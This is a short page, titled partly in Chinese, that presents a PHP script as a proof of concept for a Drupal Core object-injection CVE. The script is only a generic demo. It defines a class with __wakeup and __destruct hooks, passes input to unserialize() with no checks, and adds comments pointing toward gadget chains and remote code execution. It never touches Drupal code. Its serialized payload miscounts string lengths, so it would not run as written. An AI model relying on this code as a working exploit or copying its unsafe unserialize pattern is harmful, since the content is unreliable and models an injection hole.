CVE-2025-13081: Drupal Core对象注入漏洞

<?php // CVE-2025-13081 Drupal Core Object Injection PoC // This PoC demonstrates the object injection vulnerability in Drupal Core // Note: This is for educational and testing purposes only class MaliciousObject { public $evilProp; function __construct() { $this->evilProp = 'malicious_value'; } // Magic method triggered on unserialize function __wakeup() { // Malicious code execution point // In real attack, this could execute system commands error_log("Object injected: " . $this->evilProp); } function __destruct() { // Additional exploitation vector if (isset($this->evilProp)) { // Potential command execution or data exfiltration } } } // Simulate vulnerable Drupal component that unserialize user input function vulnerable_unserialize($user_input) { // In Drupal, this could be in cached data, form submissions, or API responses return unserialize($user_input); } // Example malicious serialized payload $malicious_payload = 'O:15:"MaliciousObject":1:{s:9:"evilProp";s:10:"pwned";}'; // Trigger the vulnerability (in real scenario, this would be done via Drupal's input handling) try { $result = vulnerable_unserialize($malicious_payload); // Object is now instantiated and magic methods are triggered } catch (Exception $e) { echo "Error: " . $e->getMessage(); } // In real Drupal exploitation, attackers would chain this with: // 1. Finding gadget chains in Drupal's class hierarchy // 2. Using Symfony or Drupals own classes as gadgets // 3. Achieving RCE through chain execution ?>
